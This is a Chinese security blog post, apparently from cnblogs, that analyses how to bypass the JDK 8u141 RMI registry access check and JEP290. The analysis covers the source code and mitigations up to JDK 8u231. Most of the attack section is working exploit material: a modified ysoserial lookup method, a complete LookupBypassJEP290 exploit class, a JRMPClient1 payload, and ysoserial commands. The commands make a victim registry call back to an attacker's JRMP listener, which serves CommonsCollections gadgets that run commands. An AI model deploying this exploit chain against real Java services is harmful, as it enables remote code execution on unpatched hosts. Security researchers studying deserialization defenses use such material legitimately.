首页 > 编程语言 >JAVA安全之JDK8u141版本绕过研究

JAVA安全之JDK8u141版本绕过研究

时间:2025-01-18 11:32:05浏览次数:1  
标签:JAVA java sun ysoserial new import 绕过 rmi JDK8u141

基本介绍

从JDK8u141开始JEP290中针对RegistryImpl_Skel#dispatch中bind、unbind、rebind操作增加了checkAccess检查,此项检查只允许来源为本地,下面以bind为例:

public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
        if (var4 != 4905912898345647071L) {
            throw new SkeletonMismatchException("interface hash mismatch");
        } else {
            RegistryImpl var6 = (RegistryImpl)var1;
            String var7;
            ObjectInput var8;
            ObjectInput var9;
            Remote var80;
            switch (var3) {
                case 0:
                    RegistryImpl.checkAccess("Registry.bind");
                    try {
                        var9 = var2.getInputStream();
                        var7 = (String)var9.readObject();
                        var80 = (Remote)var9.readObject();
                    } catch (ClassNotFoundException | IOException var77) {
                        throw new UnmarshalException("error unmarshalling arguments", var77);
                    } finally {
                        var2.releaseInputStream();
                    }
                    var6.bind(var7, var80);
                    try {
                        var2.getResultStream(true);
                        break;
                    } catch (IOException var76) {
                        throw new MarshalException("error marshalling return", var76);
                    }

checkAccess方法的具体实现如下,从中可以看到这里获取了客户端的IP地址随后进行了检查只允许本地的IP地址进行bind、unbind、rebind

public static void checkAccess(String var0) throws AccessException {
        try {
            final String var1 = getClientHost();
            final InetAddress var2;
            try {
                var2 = (InetAddress)AccessController.doPrivileged(new PrivilegedExceptionAction<InetAddress>() {
                    public InetAddress run() throws UnknownHostException {
                        return InetAddress.getByName(var1);
                    }
                });
            } catch (PrivilegedActionException var5) {
                throw (UnknownHostException)var5.getException();
            }
            if (allowedAccessCache.get(var2) == null) {
                if (var2.isAnyLocalAddress()) {
                    throw new AccessException(var0 + " disallowed; origin unknown");
                }
                try {
                    AccessController.doPrivileged(new PrivilegedExceptionAction<Void>() {
                        public Void run() throws IOException {
                            (new ServerSocket(0, 10, var2)).close();
                            RegistryImpl.allowedAccessCache.put(var2, var2);
                            return null;
                        }
                    });
                } catch (PrivilegedActionException var4) {
                    throw new AccessException(var0 + " disallowed; origin " + var2 + " is non-local host");
                }
            }
        } catch (ServerNotActiveException var6) {
        } catch (UnknownHostException var7) {
            throw new AccessException(var0 + " disallowed; origin is unknown host");
        }

执行效果

下面我们本地启动一个JAVA RMI服务端,然后让本地局域网内的其他主机来模拟客户端来实施攻击操作,利用的方法为bind方法,具体利用流程如下:
Step 1:首先启动服务器端

Step 2:随后客户端模拟攻击者进行端口扫描发现开启了1099端口,随后直接拿起ysoserial就直接开打

"C:\Program Files\Java\jdk1.8.0_181\bin\java.exe" -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.1.10 1099 CommonsCollections6 calc

报错信息如下:


java.rmi.ServerException: RemoteException occurred in server thread; nested exception is:
        java.rmi.AccessException: Registry.bind disallowed; origin /192.168.1.105 is non-local host
        at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:389)
        at sun.rmi.transport.Transport$1.run(Transport.java:200)
        at sun.rmi.transport.Transport$1.run(Transport.java:197)
        at java.security.AccessController.doPrivileged(Native Method)
        at sun.rmi.transport.Transport.serviceCall(Transport.java:196)
        at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:568)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:826)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:683)
        at java.security.AccessController.doPrivileged(Native Method)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:682)
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
        at java.lang.Thread.run(Thread.java:748)
        at sun.rmi.transport.StreamRemoteCall.exceptionReceivedFromServer(StreamRemoteCall.java:283)
        at sun.rmi.transport.StreamRemoteCall.executeCall(StreamRemoteCall.java:260)
        at sun.rmi.server.UnicastRef.invoke(UnicastRef.java:375)
        at sun.rmi.registry.RegistryImpl_Stub.bind(RegistryImpl_Stub.java:68)
        at ysoserial.exploit.RMIRegistryExploit$1.call(RMIRegistryExploit.java:77)
        at ysoserial.exploit.RMIRegistryExploit$1.call(RMIRegistryExploit.java:71)
        at ysoserial.secmgr.ExecCheckingSecurityManager.callWrapped(ExecCheckingSecurityManager.java:72)
        at ysoserial.exploit.RMIRegistryExploit.exploit(RMIRegistryExploit.java:71)
        at ysoserial.exploit.RMIRegistryExploit.main(RMIRegistryExploit.java:65)
Caused by: java.rmi.AccessException: Registry.bind disallowed; origin /192.168.1.105 is non-local host
        at sun.rmi.registry.RegistryImpl.checkAccess(RegistryImpl.java:350)
        at sun.rmi.registry.RegistryImpl_Skel.dispatch(RegistryImpl_Skel.java:69)
        at sun.rmi.server.UnicastServerRef.oldDispatch(UnicastServerRef.java:468)
        at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:300)
        at sun.rmi.transport.Transport$1.run(Transport.java:200)
        at sun.rmi.transport.Transport$1.run(Transport.java:197)
        at java.security.AccessController.doPrivileged(Native Method)
        at sun.rmi.transport.Transport.serviceCall(Transport.java:196)
        at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:568)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:826)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:683)
        at java.security.AccessController.doPrivileged(Native Method)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:682)
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
        at java.lang.Thread.run(Thread.java:748)

绕过思路

JDK 8u141之后可以利用lookup+JRMP(JRMP是为了绕过JEP290,此为8u121之后必须条件)来绕过checkacces并且实施攻击,在之前的RMI通信源码调试分析中我们了解到注册中心时反序列化的点在RegistryImpl_Skel#dispatch中,其中var3代表客户端发起连接的方法

其中对应的关系如下:

  • 0->bind
  • 1->list
  • 2->lookup
  • 3->rebind
  • 4->unbind

在看源代码的时候我们可以发现在bind,rebind,unbind和lookup中都有反序列化操作,但只有lookup中没有调用checkAccess

而且可以看到的是在lookup中的反序列化操作是String

由于RegistryImpl_Stub#lookup这个方法只接受一个String参数,我们在客户端使用它来传递恶意的对象是不行的,但是我们可以在ysoserial中自己实现一个lookup方法,使它接受Remote对象作为参数


package ysoserial.exploit;
import ysoserial.payloads.util.Reflections;
import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteRef;
public class Naming {
    /**
     * Disallow anyone from creating one of these
     */
    private Naming() {}
    public static Remote lookup(Registry registry, Object obj)
        throws Exception {
        RemoteRef ref = (RemoteRef) Reflections.getFieldValue(registry, "ref");
        long interfaceHash = Long.valueOf(String.valueOf(Reflections.getFieldValue(registry, "interfaceHash")));
        java.rmi.server.Operation[] operations = (Operation[]) Reflections.getFieldValue(registry, "operations");
        java.rmi.server.RemoteCall call = ref.newCall((java.rmi.server.RemoteObject) registry, operations, 2, interfaceHash);
        try {
            try {
                java.io.ObjectOutput out = call.getOutputStream();
                //反射修改enableReplace
                Reflections.setFieldValue(out, "enableReplace", false);
                out.writeObject(obj); // arm obj
            } catch (java.io.IOException e) {
                throw new java.rmi.MarshalException("error marshalling arguments", e);
            }
            ref.invoke(call);
            return null;
        } catch (RuntimeException | RemoteException | NotBoundException e) {
            if(e instanceof RemoteException| e instanceof ClassCastException){
                return null;
            }else{
                throw e;
            }
        } catch (java.lang.Exception e) {
            throw new java.rmi.UnexpectedException("undeclared checked exception", e);
        } finally {
            ref.done(call);
        }
    }
}

随后构建LookupBypassJEP290

package ysoserial.exploit;
import java.io.IOException;
import java.net.Socket;
import java.rmi.ConnectIOException;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RMIClientSocketFactory;
import java.security.cert.X509Certificate;
import java.util.concurrent.Callable;
import javax.net.ssl.*;
import ysoserial.payloads.JRMPClient1;
import ysoserial.secmgr.ExecCheckingSecurityManager;
public class LookupBypassJEP290 {
    private static class TrustAllSSL implements X509TrustManager {
        private static final X509Certificate[] ANY_CA = {};
        public X509Certificate[] getAcceptedIssuers() { return ANY_CA; }
        public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
        public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
    }
    private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {
        public Socket createSocket(String host, int port) throws IOException {
            try {
                SSLContext ctx = SSLContext.getInstance("TLS");
                ctx.init(null, new TrustManager[] {new TrustAllSSL()}, null);
                SSLSocketFactory factory = ctx.getSocketFactory();
                return factory.createSocket(host, port);
            } catch(Exception e) {
                throw new IOException(e);
            }
        }
    }
    public static void main(final String[] args) throws Exception {
        final String host = args[0];
        final int port = Integer.parseInt(args[1]);
        final String command = args[2];
        Registry registry = LocateRegistry.getRegistry(host, port);
        try {
            registry.list();
        } catch(ConnectIOException ex) {
            registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
        }
        // ensure payload doesn't detonate during construction or deserialization
        exploit(registry, command);
    }
    public static void exploit(final Registry registry,
                               final String command) throws Exception {
        new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {
            JRMPClient1 jrmpclient = new JRMPClient1();
            Remote remote = jrmpclient.getObject(command);
            try {
                Naming.lookup(registry,remote);
            } catch (Throwable e) {
                e.printStackTrace();
            }
            return null;
        }});
    }
}

在这里需要注意的是我们不能直接指定JRMPClient这个payload来做LookupBypassJEP290的payload,因为AnnotationInvocationHandler会使服务端抛出REJECTED,AnnotationInvocationHandler类在LookupBypassJEP290中的使用只是为了把对象包装成Remote接口,而分析了JRMPClient这个payload发现它的反序列化过程本来就是从RemoteObject#readObject开始的,所以直接改写构造如下JRMPClient1

package ysoserial.payloads;
import java.rmi.Remote;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
@SuppressWarnings ( {
    "restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient1 extends PayloadRunner implements ObjectPayload<Remote> {
    public Remote getObject (final String command ) throws Exception {
        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        Remote obj = new RemoteObjectInvocationHandler(ref);
        return obj;
    }
    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient1.class.getClassLoader());
        PayloadRunner.run(JRMPClient1.class, args);
    }
}

工具打包

通过对上面改写之后的ysoserial进行打包

工具使用

在上面的执行效果一小节中的利用过程只是展示了CheckAccess关于异端请求处理的拦截效果,在实际的利用过程中此策略出现在JDK 8u141之后,而且在JDK 8u121之后加入了JEP290机制,所以在JDK8u121~141之间可以直接利用UnicastRef链路进行绕过,而在JDK 8u141~231则需要结合CheckAccess的绕过与JRMP反序列化机制来绕过,下面展示JDK8u141之后的真实环境下的利用流程: Step 1:首先使用ysoserial在攻击端启动一个恶意的JRMPListener(CommonCollections1的链在1.8下用不了,所以这里用了CommonCollections5)

"C:\Program Files\Java\jdk1.8.0_181\bin\java.exe" -cp ysoserial.jar ysoserial.exploit.JRMPListener 1088 CommonsCollections5 "cmd.exe /c calc"

Step 2:启动一个RMI服务来模拟受害者


package org.al1ex;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
    public static void main(String[] args) {
        try {
            // 创建远程对象
            HelloService helloService = new HelloServiceImpl();
            // 创建 RMI 注册表
            Registry registry = LocateRegistry.createRegistry(1099);
            registry.bind("HelloService", helloService); // 绑定远程对象到注册表
            System.out.println("RMI Server is ready.");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Step 3:攻击端获取注册中心示例并将请求给重定向到我们恶意的JRMP服务端

#格式说明
"C:\Program Files\Java\jdk1.8.0_151\bin\java.exe" -cp ysoserial.jar ysoserial.exploit.LookupBypassJEP290 <攻击目标IP> <攻击目标端口> <本地JRMP服务IP>:<本地JRMP服务端口>
#执行示例
"C:\Program Files\Java\jdk1.8.0_181\bin\java.exe"  -cp ysoserial.jar ysoserial.exploit.LookupBypassJEP290 192.168.1.10 1099 192.168.1.16:1088

随后在服务端成功执行命令:

修复措施

异常处理

在JDK 8u231中RegistryImpl_Skel#dispatch中的每个case都增加了ClassCastException,执行到反序列化时会因为反序列化返回的对象类型不是String而报错,从而调用StreamRemoteCall#discardPendingRefs

discardPendingRefs随后调用discardRefs()

在discardRefs()清除incomingRefTable属性的值,从而阻断了我们从JRMP到恶意服务端的请求过程

有人以为发起JRMP请求这个操作是在readObject的调用链中完成的,然而其实readObject中的调用链中只是填充ref,而真正发起连接的是var2.releaseInputStream()

下断点调试可以发现注册中心在DGCimpl_Stub的ditry中跟JRMP开始建立连接,首先通过newCall建立连接,随后通过writeObject写入要请求的数据,invoke来处理传输数据并将数据发送到JRMP端,跟入this.ref.invoke(var5);


随后跟入var1.executeCall():

随后JRMP端发过来的数据会在这里被反序列化

增过滤器

在JDK8u231的dirty函数中多了setObjectInputFilter过程,所以用UnicastRef就没法再进行绕过了

sun.rmi.transport.DGCImpl_Stub#dirty

leaseFilter代码如下所示:

private static ObjectInputFilter.Status leaseFilter(ObjectInputFilter.FilterInfo var0) {
        if (var0.depth() > (long)DGCCLIENT_MAX_DEPTH) {
            return Status.REJECTED;
        } else {
            Class var1 = var0.serialClass();
            if (var1 == null) {
                return Status.UNDECIDED;
            } else {
                while(var1.isArray()) {
                    if (var0.arrayLength() >= 0L && var0.arrayLength() > (long)DGCCLIENT_MAX_ARRAY_SIZE) {
                        return Status.REJECTED;
                    }
                    var1 = var1.getComponentType();
                }
                if (var1.isPrimitive()) {
                    return Status.ALLOWED;
                } else {
                    return var1 != UID.class && var1 != VMID.class && var1 != Lease.class && (var1.getPackage() == null || !Throwable.class.isAssignableFrom(var1) || !"java.lang".equals(var1.getPackage().getName()) && !"java.rmi".equals(var1.getPackage().getName())) && var1 != StackTraceElement.class && var1 != ArrayList.class && var1 != Object.class && !var1.getName().equals("java.util.Collections$UnmodifiableList") && !var1.getName().equals("java.util.Collections$UnmodifiableCollection") && !var1.getName().equals("java.util.Collections$UnmodifiableRandomAccessList") && !var1.getName().equals("java.util.Collections$EmptyList") ? Status.REJECTED : Status.ALLOWED;
                }
            }
        }

文末小结

本篇文章主要介绍了针对JDK 8u141JDK8u231之间的CheckAccess的绕过+JEP290的绕过实现

标签:JAVA,java,sun,ysoserial,new,import,绕过,rmi,JDK8u141
From: https://www.cnblogs.com/cn-sec-/p/18678161

相关文章

  • win 11 升级到 24H2 如何绕过TPM检查
    下载win1124H2镜像,运行setup.exe前,cmd管理员模式执行以下命令即可,无需重启。亲测有效。reg.exedelete"HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\AppCompatFlags\CompatMarkers"/f2>NULreg.exedelete"HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion......
  • Java初学者笔记-04、异常与泛型
    异常异常代表程序出现的问题。Error错误和Exception异常。RuntimeException运行时异常。编译时异常,提醒程序员这里的程序很容易出错。异常的基础处理抛出给上层调用者。使用try-catch处理。异常的处理方案底层异常抛出,最外层捕获异常记录异常并响应合适信息。(少见)最......
  • leetcode——接雨水(java)
    给定n个非负整数表示每个宽度为1的柱子的高度图,计算按此排列的柱子,下雨之后能接多少雨水。示例1:输入:height=[0,1,0,2,1,0,1,3,2,1,2,1]输出:6解释:上面是由数组[0,1,0,2,1,0,1,3,2,1,2,1]表示的高度图,在这种情况下,可以接6个单位的雨水(蓝色部分表示雨水)。示例......
  • 【2024年华为OD机试】 (A卷,200分)- 硬件产品销售方案(Java & JS & Python&C/C++)
    一、问题描述题目描述某公司目前推出了AI开发者套件,AI加速卡,AI加速模块,AI服务器,智能边缘多种硬件产品,每种产品包含若干个型号。现某合作厂商要采购金额为amount元的硬件产品搭建自己的AI基座。例如当前库存有N种产品,每种产品的库存量充足,给定每种产品的价格,记为price(不......
  • 【2024年华为OD机试】 (B卷,100分)- 流水线(Java & JS & Python&C/C++)
    一、问题描述题目描述一个工厂有m条流水线,来并行完成n个独立的作业,该工厂设置了一个调度系统,在安排作业时,总是优先执行处理时间最短的作业。现给定流水线个数m,需要完成的作业数n,每个作业的处理时间分别为t1,t2,...,tn。请你编程计算处理完所有作业的耗时为多......
  • 股票API接口使用python、JAVA等多种语言实例代码演示免费获取实时数据、历史数据、CDM
    ​最新整理的股票API接口,下方所有接口链接均可直接点击验证,查看返回的数据。沪深两市股票列表股票API接口链接(可点击验证):https://api.mairui.club/hslt/list/LICENCE-66D8-9F96-0C7F0FBCD073【实时数据接口】沪深两市实时交易数据接口股票API接口链接(可点击验证):https:......
  • leetcode——令牌放置(java)
    你的初始能量为power,初始分数为0,只有一包令牌以整数数组tokens给出。其中tokens[i]是第i个令牌的值(下标从0开始)。你的目标是通过有策略地使用这些令牌以最大化总分数。在一次行动中,你可以用两种方式中的一种来使用一个未被使用的令牌(但不是对同一个令牌使......
  • java集合
    集合想一下,目前为止,我们学过哪些可以存储元素的容器:1、数组,查询快,增删慢。既可以存储基本数据类型的元素,又可以存储引用数据类型的元素对于同一个数组而言,元素类型都是一样长度一旦创建旧固定了,不能改变长度。2、StringBuffer长度可以随着添加的字符个数而改变StringBuffe......
  • java常用类
    java常用类Api概述API(ApplicationProgrammingInterface)应用程序编程接口编写一个机器人程序去控制机器人踢足球,程序就需要向机器人发出向前跑、向后跑、射门、抢球等各种命令,没有编过程序的人很难想象这样的程序如何编写。但是对于有经验的开发人员来说,知道机器人厂商一......
  • js逆向笔记 绕过某网站开发者工具检测
    js逆向笔记绕过某网站开发者工具检测在这篇博客中,我将分享我在逆向分析爱企查时的一些发现与绕过技巧。最开始,我是偶然发现了这个网站,它在正常使用浏览器按下F12打开开发者工具时,似乎有某种方式禁用了开发者工具。不过,我没有放弃,继续从浏览器的右上角点击手动打开开发者......